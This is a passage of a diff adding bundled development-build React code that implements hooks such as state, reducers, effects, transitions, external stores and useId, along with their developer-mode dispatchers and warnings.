+          var didRenderTooFewHooks = currentHook !== null && currentHook.next !== null;
+          renderLanes = NoLanes;
+          currentlyRenderingFiber$1 = null;
+          currentHook = null;
+          workInProgressHook = null;
+          {
+            currentHookNameInDev = null;
+            hookTypesDev = null;
+            hookTypesUpdateIndexDev = -1;
+            if (current2 !== null && (current2.flags & StaticMask) !== (workInProgress2.flags & StaticMask) && (current2.mode & ConcurrentMode) !== NoMode) {
+              error("Internal React error: Expected static flag was missing. Please notify the React team.");
+            }
+          }
+          didScheduleRenderPhaseUpdate = false;
+          if (didRenderTooFewHooks) {
+            throw new Error("Rendered fewer hooks than expected. This may be caused by an accidental early return statement.");
+          }
+          return children;
+        }
+        function checkDidRenderIdHook() {
+          var didRenderIdHook = localIdCounter !== 0;
+          localIdCounter = 0;
+          return didRenderIdHook;
+        }
+        function bailoutHooks(current2, workInProgress2, lanes) {
+          workInProgress2.updateQueue = current2.updateQueue;
+          if ((workInProgress2.mode & StrictEffectsMode) !== NoMode) {
+            workInProgress2.flags &= ~(MountPassiveDev | MountLayoutDev | Passive | Update);
+          } else {
+            workInProgress2.flags &= ~(Passive | Update);
+          }
+          current2.lanes = removeLanes(current2.lanes, lanes);
+        }
+        function resetHooksAfterThrow() {
+          ReactCurrentDispatcher$1.current = ContextOnlyDispatcher;
+          if (didScheduleRenderPhaseUpdate) {
+            var hook = currentlyRenderingFiber$1.memoizedState;
+            while (hook !== null) {
+              var queue = hook.queue;
+              if (queue !== null) {
+                queue.pending = null;
+              }
+              hook = hook.next;
+            }
+            didScheduleRenderPhaseUpdate = false;
+          }
+          renderLanes = NoLanes;
+          currentlyRenderingFiber$1 = null;
+          currentHook = null;
+          workInProgressHook = null;
+          {
+            hookTypesDev = null;
+            hookTypesUpdateIndexDev = -1;
+            currentHookNameInDev = null;
+            isUpdatingOpaqueValueInRenderPhase = false;
+          }
+          didScheduleRenderPhaseUpdateDuringThisPass = false;
+          localIdCounter = 0;
+        }
+        function mountWorkInProgressHook() {
+          var hook = {
+            memoizedState: null,
+            baseState: null,
+            baseQueue: null,
+            queue: null,
+            next: null
+          };
+          if (workInProgressHook === null) {
+            currentlyRenderingFiber$1.memoizedState = workInProgressHook = hook;
+          } else {
+            workInProgressHook = workInProgressHook.next = hook;
+          }
+          return workInProgressHook;
+        }
+        function updateWorkInProgressHook() {
+          var nextCurrentHook;
+          if (currentHook === null) {
+            var current2 = currentlyRenderingFiber$1.alternate;
+            if (current2 !== null) {
+              nextCurrentHook = current2.memoizedState;
+            } else {
+              nextCurrentHook = null;
+            }
+          } else {
+            nextCurrentHook = currentHook.next;
+          }
+          var nextWorkInProgressHook;
+          if (workInProgressHook === null) {
+            nextWorkInProgressHook = currentlyRenderingFiber$1.memoizedState;
+          } else {
+            nextWorkInProgressHook = workInProgressHook.next;
+          }
+          if (nextWorkInProgressHook !== null) {
+            workInProgressHook = nextWorkInProgressHook;
+            nextWorkInProgressHook = workInProgressHook.next;
+            currentHook = nextCurrentHook;
+          } else {
+            if (nextCurrentHook === null) {
+              throw new Error("Rendered more hooks than during the previous render.");
+            }
+            currentHook = nextCurrentHook;
+            var newHook = {
+              memoizedState: currentHook.memoizedState,
+              baseState: currentHook.baseState,
+              baseQueue: currentHook.baseQueue,
+              queue: currentHook.queue,
+              next: null
+            };
+            if (workInProgressHook === null) {
+              currentlyRenderingFiber$1.memoizedState = workInProgressHook = newHook;
+            } else {
+              workInProgressHook = workInProgressHook.next = newHook;
+            }
+          }
+          return workInProgressHook;
+        }
+        function createFunctionComponentUpdateQueue() {
+          return {
+            lastEffect: null,
+            stores: null
+          };
+        }
+        function basicStateReducer(state, action) {
+          return typeof action === "function" ? action(state) : action;
+        }
+        function mountReducer(reducer, initialArg, init) {
+          var hook = mountWorkInProgressHook();
+          var initialState;
+          if (init !== void 0) {
+            initialState = init(initialArg);
+          } else {
+            initialState = initialArg;
+          }
+          hook.memoizedState = hook.baseState = initialState;
+          var queue = {
+            pending: null,
+            interleaved: null,
+            lanes: NoLanes,
+            dispatch: null,
+            lastRenderedReducer: reducer,
+            lastRenderedState: initialState
+          };
+          hook.queue = queue;
+          var dispatch = queue.dispatch = dispatchReducerAction.bind(null, currentlyRenderingFiber$1, queue);
+          return [hook.memoizedState, dispatch];
+        }
+        function updateReducer(reducer, initialArg, init) {
+          var hook = updateWorkInProgressHook();
+          var queue = hook.queue;
+          if (queue === null) {
+            throw new Error("Should have a queue. This is likely a bug in React. Please file an issue.");
+          }
+          queue.lastRenderedReducer = reducer;
+          var current2 = currentHook;
+          var baseQueue = current2.baseQueue;
+          var pendingQueue = queue.pending;
+          if (pendingQueue !== null) {
+            if (baseQueue !== null) {
+              var baseFirst = baseQueue.next;
+              var pendingFirst = pendingQueue.next;
+              baseQueue.next = pendingFirst;
+              pendingQueue.next = baseFirst;
+            }
+            {
+              if (current2.baseQueue !== baseQueue) {
+                error("Internal error: Expected work-in-progress queue to be a clone. This is a bug in React.");
+              }
+            }
+            current2.baseQueue = baseQueue = pendingQueue;
+            queue.pending = null;
+          }
+          if (baseQueue !== null) {
+            var first = baseQueue.next;
+            var newState = current2.baseState;
+            var newBaseState = null;
+            var newBaseQueueFirst = null;
+            var newBaseQueueLast = null;
+            var update = first;
+            do {
+              var updateLane = update.lane;
+              if (!isSubsetOfLanes(renderLanes, updateLane)) {
+                var clone = {
+                  lane: updateLane,
+                  action: update.action,
+                  hasEagerState: update.hasEagerState,
+                  eagerState: update.eagerState,
+                  next: null
+                };
+                if (newBaseQueueLast === null) {
+                  newBaseQueueFirst = newBaseQueueLast = clone;
+                  newBaseState = newState;
+                } else {
+                  newBaseQueueLast = newBaseQueueLast.next = clone;
+                }
+                currentlyRenderingFiber$1.lanes = mergeLanes(currentlyRenderingFiber$1.lanes, updateLane);
+                markSkippedUpdateLanes(updateLane);
+              } else {
+                if (newBaseQueueLast !== null) {
+                  var _clone = {
+                    lane: NoLane,
+                    action: update.action,
+                    hasEagerState: update.hasEagerState,
+                    eagerState: update.eagerState,
+                    next: null
+                  };
+                  newBaseQueueLast = newBaseQueueLast.next = _clone;
+                }
+                if (update.hasEagerState) {
+                  newState = update.eagerState;
+                } else {
+                  var action = update.action;
+                  newState = reducer(newState, action);
+                }
+              }
+              update = update.next;
+            } while (update !== null && update !== first);
+            if (newBaseQueueLast === null) {
+              newBaseState = newState;
+            } else {
+              newBaseQueueLast.next = newBaseQueueFirst;
+            }
+            if (!objectIs(newState, hook.memoizedState)) {
+              markWorkInProgressReceivedUpdate();
+            }
+            hook.memoizedState = newState;
+            hook.baseState = newBaseState;
+            hook.baseQueue = newBaseQueueLast;
+            queue.lastRenderedState = newState;
+          }
+          var lastInterleaved = queue.interleaved;
+          if (lastInterleaved !== null) {
+            var interleaved = lastInterleaved;
+            do {
+              var interleavedLane = interleaved.lane;
+              currentlyRenderingFiber$1.lanes = mergeLanes(currentlyRenderingFiber$1.lanes, interleavedLane);
+              markSkippedUpdateLanes(interleavedLane);
+              interleaved = interleaved.next;
+            } while (interleaved !== lastInterleaved);
+          } else if (baseQueue === null) {
+            queue.lanes = NoLanes;
+          }
+          var dispatch = queue.dispatch;
+          return [hook.memoizedState, dispatch];
+        }
+        function rerenderReducer(reducer, initialArg, init) {
+          var hook = updateWorkInProgressHook();
+          var queue = hook.queue;
+          if (queue === null) {
+            throw new Error("Should have a queue. This is likely a bug in React. Please file an issue.");
+          }
+          queue.lastRenderedReducer = reducer;
+          var dispatch = queue.dispatch;
+          var lastRenderPhaseUpdate = queue.pending;
+          var newState = hook.memoizedState;
+          if (lastRenderPhaseUpdate !== null) {
+            queue.pending = null;
+            var firstRenderPhaseUpdate = lastRenderPhaseUpdate.next;
+            var update = firstRenderPhaseUpdate;
+            do {
+              var action = update.action;
+              newState = reducer(newState, action);
+              update = update.next;
+            } while (update !== firstRenderPhaseUpdate);
+            if (!objectIs(newState, hook.memoizedState)) {
+              markWorkInProgressReceivedUpdate();
+            }
+            hook.memoizedState = newState;
+            if (hook.baseQueue === null) {
+              hook.baseState = newState;
+            }
+            queue.lastRenderedState = newState;
+          }
+          return [newState, dispatch];
+        }
+        function mountMutableSource(source, getSnapshot, subscribe) {
+          {
+            return void 0;
+          }
+        }
+        function updateMutableSource(source, getSnapshot, subscribe) {
+          {
+            return void 0;
+          }
+        }
+        function mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot) {
+          var fiber = currentlyRenderingFiber$1;
+          var hook = mountWorkInProgressHook();
+          var nextSnapshot;
+          var isHydrating2 = getIsHydrating();
+          if (isHydrating2) {
+            if (getServerSnapshot === void 0) {
+              throw new Error("Missing getServerSnapshot, which is required for server-rendered content. Will revert to client rendering.");
+            }
+            nextSnapshot = getServerSnapshot();
+            {
+              if (!didWarnUncachedGetSnapshot) {
+                if (nextSnapshot !== getServerSnapshot()) {
+                  error("The result of getServerSnapshot should be cached to avoid an infinite loop");
+                  didWarnUncachedGetSnapshot = true;
+                }
+              }
+            }
+          } else {
+            nextSnapshot = getSnapshot();
+            {
+              if (!didWarnUncachedGetSnapshot) {
+                var cachedSnapshot = getSnapshot();
+                if (!objectIs(nextSnapshot, cachedSnapshot)) {
+                  error("The result of getSnapshot should be cached to avoid an infinite loop");
+                  didWarnUncachedGetSnapshot = true;
+                }
+              }
+            }
+            var root2 = getWorkInProgressRoot();
+            if (root2 === null) {
+              throw new Error("Expected a work-in-progress root. This is a bug in React. Please file an issue.");
+            }
+            if (!includesBlockingLane(root2, renderLanes)) {
+              pushStoreConsistencyCheck(fiber, getSnapshot, nextSnapshot);
+            }
+          }
+          hook.memoizedState = nextSnapshot;
+          var inst = {
+            value: nextSnapshot,
+            getSnapshot
+          };
+          hook.queue = inst;
+          mountEffect(subscribeToStore.bind(null, fiber, inst, subscribe), [subscribe]);
+          fiber.flags |= Passive;
+          pushEffect(HasEffect | Passive$1, updateStoreInstance.bind(null, fiber, inst, nextSnapshot, getSnapshot), void 0, null);
+          return nextSnapshot;
+        }
+        function updateSyncExternalStore(subscribe, getSnapshot, getServerSnapshot) {
+          var fiber = currentlyRenderingFiber$1;
+          var hook = updateWorkInProgressHook();
+          var nextSnapshot = getSnapshot();
+          {
+            if (!didWarnUncachedGetSnapshot) {
+              var cachedSnapshot = getSnapshot();
+              if (!objectIs(nextSnapshot, cachedSnapshot)) {
+                error("The result of getSnapshot should be cached to avoid an infinite loop");
+                didWarnUncachedGetSnapshot = true;
+              }
+            }
+          }
+          var prevSnapshot = hook.memoizedState;
+          var snapshotChanged = !objectIs(prevSnapshot, nextSnapshot);
+          if (snapshotChanged) {
+            hook.memoizedState = nextSnapshot;
+            markWorkInProgressReceivedUpdate();
+          }
+          var inst = hook.queue;
+          updateEffect(subscribeToStore.bind(null, fiber, inst, subscribe), [subscribe]);
+          if (inst.getSnapshot !== getSnapshot || snapshotChanged || workInProgressHook !== null && workInProgressHook.memoizedState.tag & HasEffect) {
+            fiber.flags |= Passive;
+            pushEffect(HasEffect | Passive$1, updateStoreInstance.bind(null, fiber, inst, nextSnapshot, getSnapshot), void 0, null);
+            var root2 = getWorkInProgressRoot();
+            if (root2 === null) {
+              throw new Error("Expected a work-in-progress root. This is a bug in React. Please file an issue.");
+            }
+            if (!includesBlockingLane(root2, renderLanes)) {
+              pushStoreConsistencyCheck(fiber, getSnapshot, nextSnapshot);
+            }
+          }
+          return nextSnapshot;
+        }
+        function pushStoreConsistencyCheck(fiber, getSnapshot, renderedSnapshot) {
+          fiber.flags |= StoreConsistency;
+          var check = {
+            getSnapshot,
+            value: renderedSnapshot
+          };
+          var componentUpdateQueue = currentlyRenderingFiber$1.updateQueue;
+          if (componentUpdateQueue === null) {
+            componentUpdateQueue = createFunctionComponentUpdateQueue();
+            currentlyRenderingFiber$1.updateQueue = componentUpdateQueue;
+            componentUpdateQueue.stores = [check];
+          } else {
+            var stores = componentUpdateQueue.stores;
+            if (stores === null) {
+              componentUpdateQueue.stores = [check];
+            } else {
+              stores.push(check);
+            }
+          }
+        }
+        function updateStoreInstance(fiber, inst, nextSnapshot, getSnapshot) {
+          inst.value = nextSnapshot;
+          inst.getSnapshot = getSnapshot;
+          if (checkIfSnapshotChanged(inst)) {
+            forceStoreRerender(fiber);
+          }
+        }
+        function subscribeToStore(fiber, inst, subscribe) {
+          var handleStoreChange = function() {
+            if (checkIfSnapshotChanged(inst)) {
+              forceStoreRerender(fiber);
+            }
+          };
+          return subscribe(handleStoreChange);
+        }
+        function checkIfSnapshotChanged(inst) {
+          var latestGetSnapshot = inst.getSnapshot;
+          var prevValue = inst.value;
+          try {
+            var nextValue = latestGetSnapshot();
+            return !objectIs(prevValue, nextValue);
+          } catch (error2) {
+            return true;
+          }
+        }
+        function forceStoreRerender(fiber) {
+          var root2 = enqueueConcurrentRenderForLane(fiber, SyncLane);
+          if (root2 !== null) {
+            scheduleUpdateOnFiber(root2, fiber, SyncLane, NoTimestamp);
+          }
+        }
+        function mountState(initialState) {
+          var hook = mountWorkInProgressHook();
+          if (typeof initialState === "function") {
+            initialState = initialState();
+          }
+          hook.memoizedState = hook.baseState = initialState;
+          var queue = {
+            pending: null,
+            interleaved: null,
+            lanes: NoLanes,
+            dispatch: null,
+            lastRenderedReducer: basicStateReducer,
+            lastRenderedState: initialState
+          };
+          hook.queue = queue;
+          var dispatch = queue.dispatch = dispatchSetState.bind(null, currentlyRenderingFiber$1, queue);
+          return [hook.memoizedState, dispatch];
+        }
+        function updateState(initialState) {
+          return updateReducer(basicStateReducer);
+        }
+        function rerenderState(initialState) {
+          return rerenderReducer(basicStateReducer);
+        }
+        function pushEffect(tag, create, destroy, deps) {
+          var effect = {
+            tag,
+            create,
+            destroy,
+            deps,
+            next: null
+          };
+          var componentUpdateQueue = currentlyRenderingFiber$1.updateQueue;
+          if (componentUpdateQueue === null) {
+            componentUpdateQueue = createFunctionComponentUpdateQueue();
+            currentlyRenderingFiber$1.updateQueue = componentUpdateQueue;
+            componentUpdateQueue.lastEffect = effect.next = effect;
+          } else {
+            var lastEffect = componentUpdateQueue.lastEffect;
+            if (lastEffect === null) {
+              componentUpdateQueue.lastEffect = effect.next = effect;
+            } else {
+              var firstEffect = lastEffect.next;
+              lastEffect.next = effect;
+              effect.next = firstEffect;
+              componentUpdateQueue.lastEffect = effect;
+            }
+          }
+          return effect;
+        }
+        function mountRef(initialValue) {
+          var hook = mountWorkInProgressHook();
+          {
+            var _ref2 = {
+              current: initialValue
+            };
+            hook.memoizedState = _ref2;
+            return _ref2;
+          }
+        }
+        function updateRef(initialValue) {
+          var hook = updateWorkInProgressHook();
+          return hook.memoizedState;
+        }
+        function mountEffectImpl(fiberFlags, hookFlags, create, deps) {
+          var hook = mountWorkInProgressHook();
+          var nextDeps = deps === void 0 ? null : deps;
+          currentlyRenderingFiber$1.flags |= fiberFlags;
+          hook.memoizedState = pushEffect(HasEffect | hookFlags, create, void 0, nextDeps);
+        }
+        function updateEffectImpl(fiberFlags, hookFlags, create, deps) {
+          var hook = updateWorkInProgressHook();
+          var nextDeps = deps === void 0 ? null : deps;
+          var destroy = void 0;
+          if (currentHook !== null) {
+            var prevEffect = currentHook.memoizedState;
+            destroy = prevEffect.destroy;
+            if (nextDeps !== null) {
+              var prevDeps = prevEffect.deps;
+              if (areHookInputsEqual(nextDeps, prevDeps)) {
+                hook.memoizedState = pushEffect(hookFlags, create, destroy, nextDeps);
+                return;
+              }
+            }
+          }
+          currentlyRenderingFiber$1.flags |= fiberFlags;
+          hook.memoizedState = pushEffect(HasEffect | hookFlags, create, destroy, nextDeps);
+        }
+        function mountEffect(create, deps) {
+          if ((currentlyRenderingFiber$1.mode & StrictEffectsMode) !== NoMode) {
+            return mountEffectImpl(MountPassiveDev | Passive | PassiveStatic, Passive$1, create, deps);
+          } else {
+            return mountEffectImpl(Passive | PassiveStatic, Passive$1, create, deps);
+          }
+        }
+        function updateEffect(create, deps) {
+          return updateEffectImpl(Passive, Passive$1, create, deps);
+        }
+        function mountInsertionEffect(create, deps) {
+          return mountEffectImpl(Update, Insertion, create, deps);
+        }
+        function updateInsertionEffect(create, deps) {
+          return updateEffectImpl(Update, Insertion, create, deps);
+        }
+        function mountLayoutEffect(create, deps) {
+          var fiberFlags = Update;
+          {
+            fiberFlags |= LayoutStatic;
+          }
+          if ((currentlyRenderingFiber$1.mode & StrictEffectsMode) !== NoMode) {
+            fiberFlags |= MountLayoutDev;
+          }
+          return mountEffectImpl(fiberFlags, Layout, create, deps);
+        }
+        function updateLayoutEffect(create, deps) {
+          return updateEffectImpl(Update, Layout, create, deps);
+        }
+        function imperativeHandleEffect(create, ref) {
+          if (typeof ref === "function") {
+            var refCallback = ref;
+            var _inst = create();
+            refCallback(_inst);
+            return function() {
+              refCallback(null);
+            };
+          } else if (ref !== null && ref !== void 0) {
+            var refObject = ref;
+            {
+              if (!refObject.hasOwnProperty("current")) {
+                error("Expected useImperativeHandle() first argument to either be a ref callback or React.createRef() object. Instead received: %s.", "an object with keys {" + Object.keys(refObject).join(", ") + "}");
+              }
+            }
+            var _inst2 = create();
+            refObject.current = _inst2;
+            return function() {
+              refObject.current = null;
+            };
+          }
+        }
+        function mountImperativeHandle(ref, create, deps) {
+          {
+            if (typeof create !== "function") {
+              error("Expected useImperativeHandle() second argument to be a function that creates a handle. Instead received: %s.", create !== null ? typeof create : "null");
+            }
+          }
+          var effectDeps = deps !== null && deps !== void 0 ? deps.concat([ref]) : null;
+          var fiberFlags = Update;
+          {
+            fiberFlags |= LayoutStatic;
+          }
+          if ((currentlyRenderingFiber$1.mode & StrictEffectsMode) !== NoMode) {
+            fiberFlags |= MountLayoutDev;
+          }
+          return mountEffectImpl(fiberFlags, Layout, imperativeHandleEffect.bind(null, create, ref), effectDeps);
+        }
+        function updateImperativeHandle(ref, create, deps) {
+          {
+            if (typeof create !== "function") {
+              error("Expected useImperativeHandle() second argument to be a function that creates a handle. Instead received: %s.", create !== null ? typeof create : "null");
+            }
+          }
+          var effectDeps = deps !== null && deps !== void 0 ? deps.concat([ref]) : null;
+          return updateEffectImpl(Update, Layout, imperativeHandleEffect.bind(null, create, ref), effectDeps);
+        }
+        function mountDebugValue(value, formatterFn) {
+        }
+        var updateDebugValue = mountDebugValue;
+        function mountCallback(callback, deps) {
+          var hook = mountWorkInProgressHook();
+          var nextDeps = deps === void 0 ? null : deps;
+          hook.memoizedState = [callback, nextDeps];
+          return callback;
+        }
+        function updateCallback(callback, deps) {
+          var hook = updateWorkInProgressHook();
+          var nextDeps = deps === void 0 ? null : deps;
+          var prevState = hook.memoizedState;
+          if (prevState !== null) {
+            if (nextDeps !== null) {
+              var prevDeps = prevState[1];
+              if (areHookInputsEqual(nextDeps, prevDeps)) {
+                return prevState[0];
+              }
+            }
+          }
+          hook.memoizedState = [callback, nextDeps];
+          return callback;
+        }
+        function mountMemo(nextCreate, deps) {
+          var hook = mountWorkInProgressHook();
+          var nextDeps = deps === void 0 ? null : deps;
+          var nextValue = nextCreate();
+          hook.memoizedState = [nextValue, nextDeps];
+          return nextValue;
+        }
+        function updateMemo(nextCreate, deps) {
+          var hook = updateWorkInProgressHook();
+          var nextDeps = deps === void 0 ? null : deps;
+          var prevState = hook.memoizedState;
+          if (prevState !== null) {
+            if (nextDeps !== null) {
+              var prevDeps = prevState[1];
+              if (areHookInputsEqual(nextDeps, prevDeps)) {
+                return prevState[0];
+              }
+            }
+          }
+          var nextValue = nextCreate();
+          hook.memoizedState = [nextValue, nextDeps];
+          return nextValue;
+        }
+        function mountDeferredValue(value) {
+          var hook = mountWorkInProgressHook();
+          hook.memoizedState = value;
+          return value;
+        }
+        function updateDeferredValue(value) {
+          var hook = updateWorkInProgressHook();
+          var resolvedCurrentHook = currentHook;
+          var prevValue = resolvedCurrentHook.memoizedState;
+          return updateDeferredValueImpl(hook, prevValue, value);
+        }
+        function rerenderDeferredValue(value) {
+          var hook = updateWorkInProgressHook();
+          if (currentHook === null) {
+            hook.memoizedState = value;
+            return value;
+          } else {
+            var prevValue = currentHook.memoizedState;
+            return updateDeferredValueImpl(hook, prevValue, value);
+          }
+        }
+        function updateDeferredValueImpl(hook, prevValue, value) {
+          var shouldDeferValue = !includesOnlyNonUrgentLanes(renderLanes);
+          if (shouldDeferValue) {
+            if (!objectIs(value, prevValue)) {
+              var deferredLane = claimNextTransitionLane();
+              currentlyRenderingFiber$1.lanes = mergeLanes(currentlyRenderingFiber$1.lanes, deferredLane);
+              markSkippedUpdateLanes(deferredLane);
+              hook.baseState = true;
+            }
+            return prevValue;
+          } else {
+            if (hook.baseState) {
+              hook.baseState = false;
+              markWorkInProgressReceivedUpdate();
+            }
+            hook.memoizedState = value;
+            return value;
+          }
+        }
+        function startTransition(setPending, callback, options2) {
+          var previousPriority = getCurrentUpdatePriority();
+          setCurrentUpdatePriority(higherEventPriority(previousPriority, ContinuousEventPriority));
+          setPending(true);
+          var prevTransition = ReactCurrentBatchConfig$2.transition;
+          ReactCurrentBatchConfig$2.transition = {};
+          var currentTransition = ReactCurrentBatchConfig$2.transition;
+          {
+            ReactCurrentBatchConfig$2.transition._updatedFibers = /* @__PURE__ */ new Set();
+          }
+          try {
+            setPending(false);
+            callback();
+          } finally {
+            setCurrentUpdatePriority(previousPriority);
+            ReactCurrentBatchConfig$2.transition = prevTransition;
+            {
+              if (prevTransition === null && currentTransition._updatedFibers) {
+                var updatedFibersCount = currentTransition._updatedFibers.size;
+                if (updatedFibersCount > 10) {
+                  warn("Detected a large number of updates inside startTransition. If this is due to a subscription please re-write it to use React provided hooks. Otherwise concurrent mode guarantees are off the table.");
+                }
+                currentTransition._updatedFibers.clear();
+              }
+            }
+          }
+        }
+        function mountTransition() {
+          var _mountState = mountState(false), isPending = _mountState[0], setPending = _mountState[1];
+          var start = startTransition.bind(null, setPending);
+          var hook = mountWorkInProgressHook();
+          hook.memoizedState = start;
+          return [isPending, start];
+        }
+        function updateTransition() {
+          var _updateState = updateState(), isPending = _updateState[0];
+          var hook = updateWorkInProgressHook();
+          var start = hook.memoizedState;
+          return [isPending, start];
+        }
+        function rerenderTransition() {
+          var _rerenderState = rerenderState(), isPending = _rerenderState[0];
+          var hook = updateWorkInProgressHook();
+          var start = hook.memoizedState;
+          return [isPending, start];
+        }
+        var isUpdatingOpaqueValueInRenderPhase = false;
+        function getIsUpdatingOpaqueValueInRenderPhaseInDEV() {
+          {
+            return isUpdatingOpaqueValueInRenderPhase;
+          }
+        }
+        function mountId() {
+          var hook = mountWorkInProgressHook();
+          var root2 = getWorkInProgressRoot();
+          var identifierPrefix = root2.identifierPrefix;
+          var id;
+          if (getIsHydrating()) {
+            var treeId = getTreeId();
+            id = ":" + identifierPrefix + "R" + treeId;
+            var localId = localIdCounter++;
+            if (localId > 0) {
+              id += "H" + localId.toString(32);
+            }
+            id += ":";
+          } else {
+            var globalClientId = globalClientIdCounter++;
+            id = ":" + identifierPrefix + "r" + globalClientId.toString(32) + ":";
+          }
+          hook.memoizedState = id;
+          return id;
+        }
+        function updateId() {
+          var hook = updateWorkInProgressHook();
+          var id = hook.memoizedState;
+          return id;
+        }
+        function dispatchReducerAction(fiber, queue, action) {
+          {
+            if (typeof arguments[3] === "function") {
+              error("State updates from the useState() and useReducer() Hooks don't support the second callback argument. To execute a side effect after rendering, declare it in the component body with useEffect().");
+            }
+          }
+          var lane = requestUpdateLane(fiber);
+          var update = {
+            lane,
+            action,
+            hasEagerState: false,
+            eagerState: null,
+            next: null
+          };
+          if (isRenderPhaseUpdate(fiber)) {
+            enqueueRenderPhaseUpdate(queue, update);
+          } else {
+            var root2 = enqueueConcurrentHookUpdate(fiber, queue, update, lane);
+            if (root2 !== null) {
+              var eventTime = requestEventTime();
+              scheduleUpdateOnFiber(root2, fiber, lane, eventTime);
+              entangleTransitionUpdate(root2, queue, lane);
+            }
+          }
+          markUpdateInDevTools(fiber, lane);
+        }
+        function dispatchSetState(fiber, queue, action) {
+          {
+            if (typeof arguments[3] === "function") {
+              error("State updates from the useState() and useReducer() Hooks don't support the second callback argument. To execute a side effect after rendering, declare it in the component body with useEffect().");
+            }
+          }
+          var lane = requestUpdateLane(fiber);
+          var update = {
+            lane,
+            action,
+            hasEagerState: false,
+            eagerState: null,
+            next: null
+          };
+          if (isRenderPhaseUpdate(fiber)) {
+            enqueueRenderPhaseUpdate(queue, update);
+          } else {
+            var alternate = fiber.alternate;
+            if (fiber.lanes === NoLanes && (alternate === null || alternate.lanes === NoLanes)) {
+              var lastRenderedReducer = queue.lastRenderedReducer;
+              if (lastRenderedReducer !== null) {
+                var prevDispatcher;
+                {
+                  prevDispatcher = ReactCurrentDispatcher$1.current;
+                  ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
+                }
+                try {
+                  var currentState = queue.lastRenderedState;
+                  var eagerState = lastRenderedReducer(currentState, action);
+                  update.hasEagerState = true;
+                  update.eagerState = eagerState;
+                  if (objectIs(eagerState, currentState)) {
+                    enqueueConcurrentHookUpdateAndEagerlyBailout(fiber, queue, update, lane);
+                    return;
+                  }
+                } catch (error2) {
+                } finally {
+                  {
+                    ReactCurrentDispatcher$1.current = prevDispatcher;
+                  }
+                }
+              }
+            }
+            var root2 = enqueueConcurrentHookUpdate(fiber, queue, update, lane);
+            if (root2 !== null) {
+              var eventTime = requestEventTime();
+              scheduleUpdateOnFiber(root2, fiber, lane, eventTime);
+              entangleTransitionUpdate(root2, queue, lane);
+            }
+          }
+          markUpdateInDevTools(fiber, lane);
+        }
+        function isRenderPhaseUpdate(fiber) {
+          var alternate = fiber.alternate;
+          return fiber === currentlyRenderingFiber$1 || alternate !== null && alternate === currentlyRenderingFiber$1;
+        }
+        function enqueueRenderPhaseUpdate(queue, update) {
+          didScheduleRenderPhaseUpdateDuringThisPass = didScheduleRenderPhaseUpdate = true;
+          var pending = queue.pending;
+          if (pending === null) {
+            update.next = update;
+          } else {
+            update.next = pending.next;
+            pending.next = update;
+          }
+          queue.pending = update;
+        }
+        function entangleTransitionUpdate(root2, queue, lane) {
+          if (isTransitionLane(lane)) {
+            var queueLanes = queue.lanes;
+            queueLanes = intersectLanes(queueLanes, root2.pendingLanes);
+            var newQueueLanes = mergeLanes(queueLanes, lane);
+            queue.lanes = newQueueLanes;
+            markRootEntangled(root2, newQueueLanes);
+          }
+        }
+        function markUpdateInDevTools(fiber, lane, action) {
+          {
+            markStateUpdateScheduled(fiber, lane);
+          }
+        }
+        var ContextOnlyDispatcher = {
+          readContext,
+          useCallback: throwInvalidHookError,
+          useContext: throwInvalidHookError,
+          useEffect: throwInvalidHookError,
+          useImperativeHandle: throwInvalidHookError,
+          useInsertionEffect: throwInvalidHookError,
+          useLayoutEffect: throwInvalidHookError,
+          useMemo: throwInvalidHookError,
+          useReducer: throwInvalidHookError,
+          useRef: throwInvalidHookError,
+          useState: throwInvalidHookError,
+          useDebugValue: throwInvalidHookError,
+          useDeferredValue: throwInvalidHookError,
+          useTransition: throwInvalidHookError,
+          useMutableSource: throwInvalidHookError,
+          useSyncExternalStore: throwInvalidHookError,
+          useId: throwInvalidHookError,
+          unstable_isNewReconciler: enableNewReconciler
+        };
+        var HooksDispatcherOnMountInDEV = null;
+        var HooksDispatcherOnMountWithHookTypesInDEV = null;
+        var HooksDispatcherOnUpdateInDEV = null;
+        var HooksDispatcherOnRerenderInDEV = null;
+        var InvalidNestedHooksDispatcherOnMountInDEV = null;
+        var InvalidNestedHooksDispatcherOnUpdateInDEV = null;
+        var InvalidNestedHooksDispatcherOnRerenderInDEV = null;
+        {
+          var warnInvalidContextAccess = function() {
+            error("Context can only be read while React is rendering. In classes, you can read it in the render method or getDerivedStateFromProps. In function components, you can read it directly in the function body, but not inside Hooks like useReducer() or useMemo().");
+          };
+          var warnInvalidHookAccess = function() {
+            error("Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. You can only call Hooks at the top level of your React function. For more information, see https://reactjs.org/link/rules-of-hooks");
+          };
+          HooksDispatcherOnMountInDEV = {
+            readContext: function(context) {
+              return readContext(context);
+            },
+            useCallback: function(callback, deps) {
+              currentHookNameInDev = "useCallback";
+              mountHookTypesDev();
+              checkDepsAreArrayDev(deps);
+              return mountCallback(callback, deps);
+            },
+            useContext: function(context) {
+              currentHookNameInDev = "useContext";
+              mountHookTypesDev();
+              return readContext(context);
+            },
+            useEffect: function(create, deps) {
+              currentHookNameInDev = "useEffect";
+              mountHookTypesDev();
+              checkDepsAreArrayDev(deps);
+              return mountEffect(create, deps);
+            },
+            useImperativeHandle: function(ref, create, deps) {
+              currentHookNameInDev = "useImperativeHandle";
+              mountHookTypesDev();
+              checkDepsAreArrayDev(deps);
+              return mountImperativeHandle(ref, create, deps);
+            },
+            useInsertionEffect: function(create, deps) {
+              currentHookNameInDev = "useInsertionEffect";
+              mountHookTypesDev();
+              checkDepsAreArrayDev(deps);
+              return mountInsertionEffect(create, deps);
+            },
+            useLayoutEffect: function(create, deps) {
+              currentHookNameInDev = "useLayoutEffect";
+              mountHookTypesDev();
+              checkDepsAreArrayDev(deps);
+              return mountLayoutEffect(create, deps);
+            },
+            useMemo: function(create, deps) {
+              currentHookNameInDev = "useMemo";
+              mountHookTypesDev();
+              checkDepsAreArrayDev(deps);
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
+              try {
+                return mountMemo(create, deps);
+              } finally {
+                ReactCurrentDispatcher$1.current = prevDispatcher;
+              }
+            },
+            useReducer: function(reducer, initialArg, init) {
+              currentHookNameInDev = "useReducer";
+              mountHookTypesDev();
+              var prevDispatcher = ReactCurrentDispatcher$1.current;
+              ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
+              try {
+                return mountReducer(reducer, initialArg, init);
